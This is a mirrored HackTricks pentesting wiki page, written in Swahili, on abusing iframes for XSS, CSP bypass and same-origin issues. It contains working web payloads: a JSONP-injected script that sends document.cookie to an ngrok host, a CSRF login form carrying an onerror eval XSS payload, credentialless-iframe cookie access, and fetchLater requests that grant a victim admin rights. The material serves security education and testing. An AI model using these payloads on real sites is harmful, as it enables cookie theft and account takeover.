mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
205 lines
8.4 KiB
Markdown
205 lines
8.4 KiB
Markdown
# Iframes katika XSS, CSP na SOP
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Iframes katika XSS
|
|
|
|
Kuna njia 3 za kuonyesha maudhui ya ukurasa wa iframed:
|
|
|
|
- Kupitia `src` kuashiria URL (URL inaweza kuwa ya asili tofauti au ya asili sawa)
|
|
- Kupitia `src` kuashiria maudhui kwa kutumia itifaki ya `data:`
|
|
- Kupitia `srcdoc` kuashiria maudhui
|
|
|
|
**Kufikia Parent & Child vars**
|
|
```html
|
|
<html>
|
|
<script>
|
|
var secret = "31337s3cr37t"
|
|
</script>
|
|
|
|
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
|
|
<iframe id="if2" src="child.html"></iframe>
|
|
<iframe
|
|
id="if3"
|
|
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
|
<iframe
|
|
id="if4"
|
|
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
|
|
|
<script>
|
|
function access_children_vars() {
|
|
alert(if1.secret)
|
|
alert(if2.secret)
|
|
alert(if3.secret)
|
|
alert(if4.secret)
|
|
}
|
|
setTimeout(access_children_vars, 3000)
|
|
</script>
|
|
</html>
|
|
```
|
|
|
|
```html
|
|
<!-- content of child.html -->
|
|
<script>
|
|
var secret = "child secret"
|
|
alert(parent.secret)
|
|
</script>
|
|
```
|
|
Ikiwa utafungua html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 tu (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
|
|
Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
|
|
|
|
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
|
|
|
> [!TIP]
|
|
> Tafadhali, angalia jinsi katika bypasses zifuatazo jibu la ukurasa wa iframed halina kichwa chochote cha CSP kinachozuia utekelezaji wa JS.
|
|
|
|
Thamani ya `self` ya `script-src` haitaruhusu utekelezaji wa msimbo wa JS ukitumia protokali ya `data:` au sifa ya `srcdoc`.\
|
|
Hata hivyo, hata thamani ya `none` ya CSP itaruhusu utekelezaji wa iframes ambazo zinaweka URL (kamili au njia tu) katika sifa ya `src`.\
|
|
Kwa hivyo inawezekana kupita CSP ya ukurasa kwa:
|
|
```html
|
|
<html>
|
|
<head>
|
|
<meta
|
|
http-equiv="Content-Security-Policy"
|
|
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
|
</head>
|
|
<script>
|
|
var secret = "31337s3cr37t"
|
|
</script>
|
|
<iframe id="if1" src="child.html"></iframe>
|
|
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
|
|
<iframe
|
|
id="if3"
|
|
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
|
<iframe
|
|
id="if4"
|
|
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
|
</html>
|
|
```
|
|
Note jinsi **CSP ya awali inaruhusu tu utekelezaji wa script ya ndani**.\
|
|
Hata hivyo, **ni `if1` na `if2` tu ambazo zitatekelezwa lakini ni `if1` pekee itakayoweza kufikia siri ya mzazi**.
|
|
|
|
.png>)
|
|
|
|
Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia mwisho wa JSONP wa same-site**.
|
|
|
|
Unaweza kujaribu hii na hali ifuatayo ambapo cookie inanyang'anywa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako:
|
|
```python
|
|
import flask
|
|
from flask import Flask
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def index():
|
|
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
|
|
resp.headers['Content-Security-Policy'] = "script-src 'self'"
|
|
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
|
|
return resp
|
|
|
|
@app.route("/cookie_s.html")
|
|
def cookie_s():
|
|
return "<script>alert(document.cookie)</script>"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
### Payloads Nyingine Zilizopatikana Katika Mwitu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
|
```html
|
|
<!-- This one requires the data: scheme to be allowed -->
|
|
<iframe
|
|
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
|
|
<!-- This one injects JS in a jsonp endppoint -->
|
|
<iframe srcdoc='
|
|
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
|
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
|
|
<iframe
|
|
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
|
|
```
|
|
### Iframe sandbox
|
|
|
|
Maudhui ndani ya iframe yanaweza kuwekwa chini ya vizuizi vya ziada kupitia matumizi ya sifa ya `sandbox`. Kwa kawaida, sifa hii haitumiki, ikimaanisha hakuna vizuizi vilivyowekwa.
|
|
|
|
Wakati inapotumika, sifa ya `sandbox` inaweka vizuizi kadhaa:
|
|
|
|
- Maudhui yanachukuliwa kana kwamba yanatoka kwenye chanzo pekee.
|
|
- Jaribio lolote la kuwasilisha fomu linazuiwa.
|
|
- Utekelezaji wa scripts unakatazwa.
|
|
- Upatikanaji wa APIs fulani unazuiliwa.
|
|
- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
|
|
- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
|
|
- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
|
|
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji wa video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
|
|
|
|
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
|
|
```html
|
|
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
|
```
|
|
### Credentialless iframes
|
|
|
|
Kama ilivyoelezwa katika [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera ya `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akidi katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakwa ndani ya iframe.
|
|
|
|
Hii inaruhusu iframe kufikia taarifa nyeti kutoka iframe nyingine katika SOP sawa iliyopakiwa kwenye ukurasa wa mzazi:
|
|
```javascript
|
|
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
|
alert(window.top[1].document.cookie);
|
|
```
|
|
- Mfano wa unyakuzi: Self-XSS + CSRF
|
|
|
|
Katika shambulio hili, mshambuliaji anajiandaa ukurasa mbaya wenye iframes 2:
|
|
|
|
- Iframe ambayo inachukua ukurasa wa mwathirika na bendera ya `credentialless` yenye CSRF inayosababisha XSS (Fikiria Self-XSS katika jina la mtumiaji):
|
|
```html
|
|
<html>
|
|
<body>
|
|
<form action="http://victim.domain/login" method="POST">
|
|
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
|
<input type="hidden" name="password" value="Super_s@fe_password" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
|
|
|
|
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba kidaku kwa mfano kwa kutekeleza:
|
|
```javascript
|
|
alert(window.top[1].document.cookie);
|
|
```
|
|
### fetchLater Attack
|
|
|
|
Kama ilivyoonyeshwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/) API `fetchLater` inaruhusu kuunda ombi litakalotekelezwa baadaye (baada ya muda fulani). Hivyo, hii inaweza kutumika vibaya kwa mfano, kuingia kwa mwathirika ndani ya kikao cha mshambuliaji (kwa kutumia Self-XSS), kuweka ombi la `fetchLater` (kubadilisha nywila ya mtumiaji wa sasa kwa mfano) na kutoka kwenye kikao cha mshambuliaji. Kisha, mwathirika anaingia kwenye kikao chake mwenyewe na ombi la `fetchLater` litatekelezwa, likibadilisha nywila ya mwathirika kuwa ile iliyowekwa na mshambuliaji.
|
|
|
|
Kwa njia hii hata kama URL ya mwathirika haiwezi kupakuliwa kwenye iframe (kwa sababu ya CSP au vizuizi vingine), mshambuliaji bado anaweza kutekeleza ombi katika kikao cha mwathirika.
|
|
```javascript
|
|
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
|
const minute = 60000
|
|
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
|
for (let timeout of arr)
|
|
fetchLater(req,{activateAfter: timeout})
|
|
```
|
|
## Iframes katika SOP
|
|
|
|
Angalia kurasa zifuatazo:
|
|
|
|
{{#ref}}
|
|
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
|
|
{{#endref}}
|
|
|
|
{{#ref}}
|
|
../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
|
|
{{#endref}}
|
|
|
|
{{#ref}}
|
|
../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
|
|
{{#endref}}
|
|
|
|
{{#ref}}
|
|
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
|
{{#endref}}
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|